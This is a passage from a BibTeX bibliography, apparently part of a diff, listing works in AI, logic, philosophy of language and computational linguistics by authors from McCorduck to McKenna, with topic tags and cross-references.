same + format), and a modifier's determiner shows its function in the + semantic structure. Rules for semantic interpretation are given + which include the determination of scoping of modifiers (with + quantifier scoping as a special case). In the rules for syntax, + the notions of slots and slot-filling play an important role, + based on previous work by the author. The ideas have been tested + in an English data base query system, implemented in Prolog. + } , + topic = {grammar-formalisms;nl-semantics;logic-programming; + nl-processing;} + } + +@book{ mccorduck:1979a, + author = {Pamela McCorduck}, + title = {Machines Who Think: A Personal Inquiry into the History and + Prospects of Artificial Intelligence}, + publisher = {San Francisco: W. H. Freeman}, + year = {1979}, + address = {San}, + ISBN = {0716710722}, + topic = {popular-AI;cs-journalism;AI-philosophy;history-AI;} + } + +@article{ mccoy:1989a, + author = {Kathleen F. McCoy}, + title = {Generating Context Sensitive Responses to Object-Related + Misconceptions}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {41}, + number = {2}, + pages = {157--195}, + topic = {nl-generation;discourse-planning;context;pragmatics; + misconception-detection;} +} + +@incollection{ mccoy:1989b, + author = {Kathleen F. McCoy}, + title = {Highlighting a User Model to Respond to + Misconceptions}, + booktitle = {User Models in Dialog Systems}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Alfred Kobsa and Wolfgang Wahlster}, + pages = {233--254}, + address = {Berlin}, + topic = {user-modeling;nl-generation;misconception-detection;} + } + +@inproceedings{ mccoy-etal:1992a, + author = {Kathleen F. McCoy and K. Vijay-Shanker and Gijoo Yang}, + title = {A Functional Approach to Generation With {TAG}}, + booktitle = {Proceedings of the Thirtieth Annual Meeting of the + Association for Computational Linguistics}, + year = {1992}, + editor = {Henry S. Thompson}, + pages = {48--55}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nl-generation;TAG-grammars;} + } + +@incollection{ mccoy-strube:1999a, + author = {Kathleen F. McCoy and Michael Strube}, + title = {Generating Anaphoric Expressions: Pronoun or Definite + Description?}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {63--71}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;nl-generation;} + } + +@article{ mcdermott_d:1976a1, + author = {Drew McDermott}, + title = {Artificial Intelligence Meets Natural Stupidity}, + journal = {Newsletter of the Special Interest Group on Artificial + Intelligence of the {A}ssociation for {C}omputing {M}achinery + ({SIGART} Newsletter)}, + year = {1976}, + volume = {57}, + missinginfo = {pages}, + xref = {Republished: mcdermott:1976a2.}, + topic = {AI-editorial;AI-methodology;} + } + +@incollection{ mcdermott_d:1976a2, + author = {Drew McDermott}, + title = {Artificial Intelligence Meets Natural Stupidity}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {143--160}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: mcdermott:1976a1.}, + topic = {AI-editorial;AI-methodology;} + } + +@article{ mcdermott_d:1978a1, + author = {Drew Mcdermott}, + title = {Planning and Acting}, + journal = {Cognitive Science}, + volume = {2}, + number = {2}, + pages = {78--109}, + year = {1978}, + xref = {Republished in Readings in Planning; see mcdermott_d:1978b3.}, + topic = {foundations-of-planning;action;} + } + +@article{ mcdermott_d:1978b, + author = {Drew McDermott}, + title = {Tarskian Semantics, or No Notation Without Denotation!}, + journal = {Cognitive Science}, + volume = {2}, + year = {1978}, + pages = {277--282}, + topic = {logic-AI;} + } + +@article{ mcdermott_d-doyle_j:1980a1, + author = {Drew McDermott and Jon Doyle}, + title = {Non-Monotonic Logic {I}}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {13}, + number = {1--2}, + pages = {41--72}, + xref = {Republication: mcdermott_d-doyle_j:1980a2.}, + topic = {nonmonotonic-logic;} + } + +@incollection{ mcdermott_d-doyle_j:1980a2, + author = {Drew McDermott and Jon Doyle}, + title = {Non-Monotonic Logic {I}}, + booktitle = {Readings in Nonmonotonic Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Matthew L. Ginsberg}, + pages = {111--126}, + address = {Los Altos, California}, + xref = {Republication of: mcdermott_d-doyle_j:1980a1.}, + topic = {nonmonotonic-logic;} + } + +@article{ mcdermott_d:1982a, + author = {Drew McDermott}, + title = {Nonmonotonic Logic {II}: Nonmonotonic Modal Theories}, + journal = {Journal of the Association for Computing Machinery}, + year = {1982}, + volume = {29}, + number = {1}, + pages = {33--57}, + topic = {nonmonotonic-logic;} + } + +@article{ mcdermott_d:1982b1, + author = {Drew Mcdermott}, + title = {A Temporal Logic for Reasoning about Processes and Plans}, + year = {1982}, + journal = {Cognitive Science}, + volume = {6}, + pages = {101--155}, + xref = {Republished in Readings in Planning; see mcdermott_d:1982b2.}, + missinginfo = {number}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@incollection{ mcdermott_d:1982b2, + author = {Drew McDermott}, + title = {A Temporal Logic for Reasoning about Processes and Plans}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {436--463}, + address = {San Mateo, California}, + xref = {Originally in Cognitive Science 6; 1982; 101--105. See + mcdermott_d:1982b1.}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@incollection{ mcdermott_d:1982b3, + author = {Drew McDermott}, + title = {Planning and Acting}, + booktitle = {Readings in Planning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {James F. Allen and James Hendler and Austin Tate}, + pages = {225--244}, + address = {San Mateo, California}, + xref = {Originally in Cognitive Science 2; 1978; 71--109. See + mcdermott_d:1978b1.}, + topic = {foundations-of-planning;action;} + } + +@article{ mcdermott_d-davis:1984a, + author = {Drew McDermott and Ernest Davis}, + title = {Planning Routes through Uncertain Territory}, + journal = {Artificial Intelligence}, + year = {1984}, + volume = {22}, + number = {2}, + pages = {107--156}, + topic = {route-planning;} + } + +@incollection{ mcdermott_d:1985a, + author = {Drew McDermott}, + title = {Reasoning about Plans}, + booktitle = {Formal Theories of the Commonsense World}, + publisher = {Ablex Publishing Co.}, + year = {1985}, + editor = {Jerry R. Hobbs and Robert C. Moore}, + pages = {269--317}, + address = {New York}, + topic = {temporal-reasoning;} + } + +@article{ mcdermott_d:1987a, + author = {Drew McDermott}, + title = {A Critique of Pure Reason}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {151--160}, + topic = {kr;foundations-of-kr;kr-course;logic-in-AI;} + } + +@article{ mcdermott_d:1987b, + author = {Drew McDermott}, + title = {Reply}, + journal = {Computational Intelligence}, + year = {1987}, + volume = {3}, + issue = {3}, + pages = {223--227}, + note = {To comments on ``Critique of Pure Reason,'' by + Drew McDermott.}, + topic = {kr;foundations-of-kr;kr-course;logic-in-AI;} + } + +@inproceedings{ mcdermott_d:1987c, + author = {Drew McDermott}, + title = {{AI}, Logic, and the Frame Problem}, + booktitle = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Frank M. Brown}, + pages = {105--118}, + address = {Los Altos, California}, + topic = {kr;frame-problem;} + } + +@incollection{ mcdermott_d:1987d, + author = {Drew McDermott}, + title = {We've Been Framed: Or, Why {AI} Is + Innocent of the Frame Problem}, + booktitle = {The Robot's Dilemma: The Frame Problem in Artificial + Intelligence}, + editor = {Zenon Pylyshyn}, + publisher = {Ablex Publishing Co.}, + address = {Norwood, New Jersey}, + year = {1987}, + pages = {113--122}, + topic = {frame-problem;philosophy-AI;} + } + +@article{ mcdermott_d:1991a, + author = {Drew McDermott}, + title = {A General Framework For Reason Maintenance}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {50}, + number = {3}, + pages = {289--329}, + topic = {truth-maintenance;} + } + +@article{ mcdermott_d:1993a, + author = {Drew McDermott}, + title = {Review of {\it Building Large Knowledge-Based Systems: + Representation and Inference in the {CYC} Project}, by + {D}.{B}. {L}enat and {R}.{V}. {G}uha}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {53--63}, + xref = {Review of lenat-guha:1989a.}, + topic = {kr;large-kr-systems;kr-course;} + } + +@article{ mcdermott_d-hendler:1995a, + author = {Drew McDermott and James Hendler}, + title = {Planning: What It Is, What It Could Be, An Introduction to + the Special Issue on Planning and Scheduling}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {1--16}, + topic = {planning;scheduling;} + } + +@incollection{ mcdermott_d:1997a, + author = {Drew McDermott}, + title = {Probabilistic Projection in Planning}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {247--287}, + address = {Dordrecht}, + topic = {planning;reasoning-about-uncertainty;} + } + +@article{ mcdermott_d:1999a, + author = {Drew McDermott}, + title = {Using Regression-Match Graphs to Control Search + in Planning}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {111--159}, + topic = {planning-algorithms;search;graph-based-reasoning;} + } + +@article{ mcdermott_j1:1980a, + author = {John McDermott}, + title = {Review of {\it Principles of Artificial + lntelligence}, by {N}ils J. {N}ilsson}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {127--131}, + xref = {Review of nilsson_nj:1980a.}, + topic = {ai-intro;} + } + +@article{ mcdermott_j1:1982a, + author = {John McDermott}, + title = {{R1}: A Rule-Based Configurer of Computer Systems}, + journal = {Artificial Intelligence}, + year = {1982}, + volume = {19}, + number = {1}, + pages = {39--88}, + topic = {expert-systems;automated-configuration;} + } + +@article{ mcdermott_j1:1993a, + author = {John McDermott}, + title = {R1 (`XCON') at Age 12: Lessons from an Elementary + School Achiever}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {241--247}, + topic = {expert-systems;rule-based-reasoning;} + } + +@book{ mcdermott_j2:1990a, + author = {John McDermott}, + title = {Punctuation for Now}, + publisher = {The MacMillan Press}, + address = {Hong Kong}, + year = {1990}, + topic = {punctuation;} + } + +@article{ mcdermott_m:1996a, + author = {Michael McDermott}, + title = {On the Truth Conditions of Certain `If'-Sentences}, + journal = {The Philosophical Review}, + year = {1996}, + volume = {105}, + number = {1}, + pages = {1--37}, + topic = {conditionals;indicative-conditionals;} + } + +@article{ mcdermott_m:2002a, + author = {Michael McDermott}, + title = {Causation: Influence Versus Sufficiency}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {2}, + pages = {84--101}, + topic = {causality;conditionals;} + } + +@article{ mcdonald_be:2000a, + author = {Brian Edison McDonald}, + title = {On Meaningfulness and Truth}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {5}, + pages = {433--482}, + topic = {truth-definitions;liar-paradox;meaningfulness;} + } + +@incollection{ mcdonald_dd:1983a, + author = {David D. McDonald}, + title = {Natural Language Generation as a Computational Problem: An + Introduction}, + booktitle = {Computational Models of Discourse}, + year = {1983}, + editor = {Michael Brady and Robert Berwick}, + publisher = {MIT Press}, + pages = {209--265}, + topic = {nl-generation;pragmatics;} +} + +@article{ mcdonald_dd:1983b, + author = {David D. McDonald}, + title = {Description Directed Control: Its Implications + for Natural Language Generation}, + journal = {Computers and Mathematics}, + year = {1983}, + volume = {9}, + number = {1}, + pages = {111--130}, + xref = {Also in {\em Readings in Natural Language Processing}, + Grosz, Sparck Jones and Webber eds., Morgan-Kaufmann, 1986}, + topic = {nl-generation;} +} + +@inproceedings{ mcdonald_dd-pustejovsky:1985a, + author = {David D. McDonald and James D. Pustejovsky}, + title = {Description-Directed Natural Language Generation}, + booktitle = {Proceedings of the Ninth International Joint + Conference on Artificial Intelligence}, + year = {1985}, + editor = {Arivind Joshi}, + pages = {799--805}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {nl-generation;} + } + +@incollection{ mcdonald_dd:1991a, + author = {David D. McDonald}, + title = {On the Place of Words in the Generation Process}, + booktitle = {Natural Language Generation in Artificial Intelligence + and Computational Linguistics}, + year = {1991}, + editor = {Cecile L. Paris and William R. Swartout and William C. Mann}, + publisher = {Kluwer Academic Publishers, Boston}, + pages = {229--247}, + topic = {nl-generation;} +} + +@incollection{ mcdonald_dd:1992a, + author = {David McDonald}, + title = {Type-Driven Suppression of Redundancy in the + Generation of Inference-Rich Reports}, + pages = {73--88}, + booktitle = {Aspects of Automated Natural Language Generation: + 6th International Workshop on Natural Language Generation}, + editor = {Robert Dale and Eduard Hovy and Dietmar {R\"osner} and + Oliviero Stock}, + series = {Lecture Notes in Artificial Intelligence 587}, + publisher = {Springer Verlag}, + address = {Berlin}, + year = {1992}, + topic = {nl-generation;redundancy-elimination;} + } + +@incollection{ mcdonald_dd:1998a, + author = {David D. McDonald}, + title = {Controlled Realization of Complex + Objects by Reversing the Output of a Parser}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {38--47}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;nl-generation-and-interpretation;} + } + +@book{ mcdonough-plunkett:1986a, + editor = {J. McDonough and B. Plunkett}, + title = {{NELS 17}: Proceedings of the Seventeenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1986}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@incollection{ mcdougal:1995a, + author = {Timothy McDougal}, + title = {A Model of Interaction with Geometry Diagrams}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {691--709}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;geometrical-reasoning;visual-reasoning;} + } + +@incollection{ mcdowell_jh:1976a, + author = {John McDowell}, + title = {Truth Conditions, Bivalence, and Verificationisn}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John McDowell}, + pages = {42--66}, + address = {Oxford}, + topic = {nl-semantics;truth-definitions;truth-value-gaps; + verificationalism;} + } + +@article{ mcdowell_jh:1977a, + author = {John McDowell}, + title = {On the Sense and Reference of a Proper Name}, + journal = {Mind}, + year = {1977}, + volume = {86}, + pages = {159--185}, + missinginfo = {number}, + topic = {proper-names;sense-reference;} + } + +@incollection{ mcdowell_jh:1980a, + author = {John McDowell}, + title = {Meaning, Communication, and Knowledge}, + booktitle = {Philosophical Subjects: Essays Presented to {P}.{F}. Strawson}, + year = {1980}, + editor = {Zak {van Stratten}}, + publisher = {Oxford University Press}, + pages = {117--139}, + topic = {foundations-of-semantics;philosophy-of-language; + speaker-meaning;pragmatics;} + } + +@article{ mcdowell_jh:1992a, + author = {John H. McDowell}, + title = {Putnam on Mind and Meaning}, + journal = {Philosophical Topics}, + year = {1992}, + volume = {20}, + pages = {35--48}, + missinginfo = {number}, + topic = {philosophy-of-language;reference;} + } + +@book{ mcdowell_jh:1998a, + author = {John H. McDowell}, + title = {Mind, Value, and Reality}, + publisher = {Harvard University Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0674576136 (hardcover)}, + topic = {philosophy-of-mind;} + } + +@book{ mcdowell_jh:1998b, + author = {John H. McDowell}, + title = {Meaning, Knowledge, and Reality}, + publisher = {Harvard University Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + ISBN = {0674557778 (alk. paper)}, + topic = {philosophy-of-language;philosophy-of-mind;} + } + +@book{ mcenery:1992a, + author = {Tony McEnery}, + title = {Computational Linguistics : A Handbook \& Toolbox For Natural + Language Processing}, + publisher = {Sigma}, + year = {1992}, + address = {Wilmslow}, + ISBN = {1850582475}, + topic = {nl-processing;corpus-linguistics;} + } + +@incollection{ mcenery-etal:1997a, + author = {Tony McEnery and John Paul Baker and John Hutchinson}, + title = {A Corpus-Based Grammar Tutor}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {209--219}, + address = {London}, + topic = {corpus-linguistics;language-instruction;} + } + +@incollection{ mcenery-etal:1997b, + author = {Tony McEnery and Jean-Marc Lang\'e and Michael Oakes + and Jean V\'eronis}, + title = {The Exploitation of Multilingual + Annotated Corpora for Term Extraction}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {220--230}, + address = {London}, + topic = {corpus-linguistics;} + } + +@incollection{ mcenery-rayson:1997a, + author = {Tony McEnery and Paul Rayson}, + title = {A Corpus/Annotation Toolbox}, + booktitle = {Corpus Annotation}, + publisher = {Longman}, + year = {1997}, + editor = {Roger Garside and Geoffrey Leech and Tony McEnery}, + pages = {194--208}, + address = {London}, + topic = {corpus-linguistics;corpus-annotation;} + } + +@book{ mcenery-wilson_a:2001a, + author = {Tony McEnery and Andrew Wilson}, + title = {Corpus Linguistics}, + edition = {2}, + publisher = {Edinburgh University Press}, + year = {2001}, + address = {Edinburgh}, + ISBN = {0-7486-0482-0}, + xref = {Review: kirk:1998a}, + topic = {corpus-linguistics;} + } + +@article{ mcgee:1981a, + author = {Vann Mcgee}, + title = {Finite Matrices and the Logic of Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {349--351}, + contentnote = {Shows that there is no characteristic finite + matrix for Adams' logic of conditionals.}, + topic = {conditionals;finite-matrix;} + } + +@article{ mcgee:1985a, + author = {Vann McGee}, + title = {A Counterexample to Modus Ponens}, + journal = {Journal of Philosophy}, + year = {1985}, + volume = {82}, + pages = {462--471}, + xref = {Comments, Criticism: katz_bj:1999a.}, + topic = {conditionals;belief-revision;} + } + +@article{ mcgee:1985b, + author = {Vann McGee}, + title = {How Truthlike Can a Predicate Be? A Negative Result}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {4}, + pages = {399--410}, + topic = {truthlikeness;} + } + +@book{ mcgee:1988a, + author = {Vann McGee}, + title = {Truth, Vagueness, and Paradox: An Essay on the Logic + of Truth}, + publisher = {Hackett Publishing Co.}, + year = {1988}, + address = {Indianapolis}, + ISBN = {0-87220-087-6}, + topic = {truth;vagueness;semantic-paradoxes;} + } + +@book{ mcgee:1990a, + author = {Vann McGee}, + title = {Truth, Vagueness and Paradox}, + publisher = {Hackett Publishers}, + year = {1990}, + address = {Indianapolis}, + topic = {truth;vagueness;semantic-paradoxes;} + } + +@article{ mcgee:1992a, + author = {Vann Mcgee}, + title = {Two Problems with {T}arski's Theory of Consequence}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1992}, + volume = {92}, + note = {Supplementary Series.}, + pages = {273--292}, + topic = {logical-consequence;philosophy-of-logic;} + } + +@article{ mcgee:1992b, + author = {Vann McGee}, + title = {Maximal Consistent Sets of Instances of {T}arski's Schema + (T)}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {3}, + pages = {235--241}, + topic = {truth;semantic-paradoxes;} + } + +@article{ mcgee:1993a, + author = {Vann Mcgee}, + title = {A Semantic Conception of Truth?}, + journal = {Philosophical Topics}, + year = {1994}, + volume = {21}, + number = {2}, + pages = {83--111}, + topic = {truth;} + } + +@incollection{ mcgee:1994a, + author = {Vann McGee}, + title = {Learning the Impossible}, + booktitle = {Probability and Conditionals: Belief Revision and Rational + Decision}, + publisher = {Cambridge University Press}, + year = {1994}, + pages = {179--199}, + editor = {Ellery Eells and Brian Skyrms}, + address = {Cambridge, England}, + topic = {probability;primitive-conditional-probability; + nonstandard-probability;} + } + +@article{ mcgee:1996a, + author = {Vann McGee}, + title = {Logical Operations}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {6}, + pages = {567--580}, + contentnote = {The idea is to use invarience under a set of permutations + of models to characterize logical operations.}, + topic = {foundations-of-logic;} + } + +@article{ mcgee:1997a, + author = {Vann McGee}, + title = {How We Learn Mathematical Language}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {1}, + pages = {35--68}, + topic = {philosophy-of-mathematics;} + } + +@article{ mcgee-mclaughlin_bp:1998a, + author = {Vann Mcgee and Brian P. McLaughlin}, + title = {Review of {\it Vagueness}, by {T}imothy {W}illiamson}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {2}, + pages = {221--235}, + xref = {Review of: williamson_t:1996a.}, + topic = {vagueness;} + } + +@article{ mcgee:2000a, + author = {Vann McGee}, + title = {Review of {\it Logic, Logic and Logic}, by {G}eorge + {B}oolos}, + journal = {The Bulletin of Symbolic Logic}, + year = {2000}, + volume = {7}, + number = {1}, + pages = {58--62}, + topic = {philosophical-logic;} + } + +@article{ mcgee:2001a, + author = {Vann Mcgee}, + title = {Review of {\it The Concept of Logical Consequence}, + by {J}ohn {E}tchemendy}, + journal = {The Bulletin of Symbolic Logic}, + year = {2001}, + volume = {7}, + number = {3}, + pages = {379--380}, + xref = {Review of etchemendy:1990a.}, + topic = {logical-consequence;Tarski;} + } + +@article{ mcgeer:1996a, + author = {Victoria McGeer}, + title = {Is `Self-Knowledge' an Empirical Problem? + Renegotiating the Space of Philosophical Explanation}, + journal = {Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {10}, + pages = {483--515}, + topic = {self-knowledge;} + } + +@unpublished{ mcgilvray:1978a, + author = {James A. McGilvray}, + title = {Tense and Temporal Perspective}, + year = {1978}, + note = {Unpublished manuscript.}, + topic = {nl-tense;indexicality;} + } + +@book{ mcgilvray:1999a, + author = {James A. McGilvray}, + title = {Chomsky: Language, Mind, and Politics}, + publisher = {Polity Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0-7456-1887-1}, + topic = {Chomsky;philosophy-and-linguistics;philosophy-of-mind;} + } + +@book{ mcginn:1983a, + author = {Colin Mcginn}, + title = {The Subjective View: Secondary Qualities and Indexical Thoughts}, + publisher = {Oxford University Press}, + year = {1983}, + address = {Oxford}, + topic = {indexicals;philosophy-of-mind;} + } + +@incollection{ mcginn:1984a, + author = {Colin McGinn}, + title = {The Concept of Knowledge}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {529--554}, + address = {Minneapolis}, + topic = {knowledge;knowing-who;} + } + +@article{ mcglone:1996a, + author = {M.S. McGlone}, + title = {Conceptual Metaphors and Figurative Language + Interpretation: Food for Thought?}, + journal = {Journal of Memory and Language}, + year = {1996}, + volume = {35}, + pages = {544--565}, + missinginfo = {A's 1st name, number}, + topic = {metaphor;cognitive-psychology;} + } + +@incollection{ mcgonigle-chalmers:1985a, + author = {B. McGonigle and M. Chalmers}, + title = {Representations and Strategies during Inference}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {141--164}, + address = {New York}, + topic = {pragmatic-inference;pragmatics;} + } + +@unpublished{ mcgrath:1971a, + author = {James H. Mcgrath}, + title = {Deontic Logic and {C}hisholm's Paradox}, + year = {1971}, + note = {Unpublished manuscript, Indiana University.}, + missinginfo = {Date is a guess.}, + topic = {deontic-logic;} + } + +@incollection{ mcgrath:1998a, + author = {Matthew McGrath}, + title = {Proportionality and Mental Causation: A Fit?}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {167--176}, + address = {Oxford}, + topic = {mind-body-problem;causality;} + } + +@article{ mcgrew-etal:1997a, + author = {T. McGrew and D. Shier and H. Silverstein}, + title = {The Two-Envelope Paradox Resolved}, + journal = {Analysis}, + year = {1997}, + volume = {57}, + pages = {28--33}, + missinginfo = {A's 1st name, number}, + topic = {two-envelope-paradox;} + } + +@inproceedings{ mcguiness:1992a, + author = {Deborah Mcguiness}, + title = {Making Description Logic Based Knowledge Representation + Systems More Usable}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {56--58}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@inproceedings{ mcguiness-borgida:1995a, + author = {Deborah McGuinness and Alexander Borgida}, + title = {Explaining Subsumption in Description Logics}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {816--821}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;classic;taxonomic-logics;generating-explanations;kr-course;} + } + +@phdthesis{ mcguiness-borgida:1996a, + author = {Deborah McGuinness}, + title = {Explaining Reasoning in Description Logics}, + school = {Department of Computer Science, Rutgers University}, + year = {1996}, + type = {Ph.{D}. Dissertation}, + address = {New Brunswick, New Jersey}, + topic = {explanation;taxonomic-logics;krcourse;nl-generation;} + } + +@inproceedings{ mcguiness-etal:2000a, + author = {Deborah L. McGuinness and Richard Fikes and James + Rice and Steve Wilder}, + title = {An Environment for Merging and Testing Large Ontologies}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {483--493}, + topic = {computational-ontology;} + } + +@incollection{ mchale:1998a, + author = {Michael McHale}, + title = {A Comparison of {W}ord{N}et and Roget's + Taxonomy for Measuring Semantic Similarity}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {115--120}, + address = {Somerset, New Jersey}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9809003}, + topic = {nl-processing;WordNet;semantic-similarity;} + } + +@incollection{ mcilraith:1994a, + author = {Sheila McIlraith}, + title = {Generating Terms Using Abduction}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {449--460}, + address = {San Francisco, California}, + topic = {kr;abduction;kr-course;} + } + +@incollection{ mcilraith:1998a, + author = {Sheila McIlraith}, + title = {Explanatory Diagnosis: Conjecturing Actions to + Explain Observations}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {167--177}, + address = {San Francisco, California}, + topic = {kr;explanation;diagnosis;kr-course;} + } + +@inproceedings{ mcilraith:1998b, + author = {Sheila McIlraith}, + title = {Representing Action and State Constraints in + Model-Based Diagnosis}, + booktitle = {Proceedings of the Fourteenth National Conference on + Artificial Intelligence and the Ninth Innovative + Applications of Artificial Intelligence Conference}, + year = {1998}, + editor = {Ted Senator and Bruce Buchanan}, + pages = {43--49}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {diagnosis;action;causality;} + } + +@article{ mcilraith:2000a, + author = {Sheila Mcilraith}, + title = {Integrating Actions and State Constraints: A Closed-Form + Solution to the Ramification Problem}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {116}, + number = {1--2}, + pages = {87--121}, + topic = {action-formalisms;ramification-problem;} + } + +@incollection{ mcilraith-san:2002a, + author = {Sheila McIlraith and Tran Cao San}, + title = {Adapting {G}olog for Composition of Semantic Web Services}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {482--}, + address = {San Francisco, California}, + topic = {kr;Golog;AI-and-the-internet;} + } + +@article{ mckay:1975a, + author = {Thomas J. McKay}, + title = {Essentialism in Quantified Modal Logic}, + journal = {Journal of Philosophical Logic}, + year = {1975}, + volume = {4}, + number = {4}, + pages = {423--438}, + topic = {quantifying-in-modality;} + } + +@article{ mckay-vaninwagen:1977a, + author = {Thomas J. McKay and Peter {van Inwagen}}, + title = {Counterfactuals with Disjunctive Antecedents}, + journal = {Philosophical Studies}, + year = {1977}, + volume = {31}, + pages = {353--356}, + topic = {conditionals;} + } + +@article{ mckay-stern:1979a, + author = {Thomas J. Mckay and Charles Stern}, + title = {Natural Kind Terms and Standards of Membership}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {27--34}, + topic = {natural-kinds;} + } + +@incollection{ mckay:1994a, + author = {Thomas J. McKay}, + title = {Names, Causal Chains, and De Re Beliefs}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {293--302}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {proper-names;reference;} + } + +@article{ mckenna:2001a, + author = {Michael McKenna}, + title = {Review of {\it Responsibility and Control: A Theory of Moral + Responsibility}, by {J}ohn {M}artin {F}ischer and {M}ark + {R}avizza}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {2}, + pages = {93--100}, + xref = {Review of: 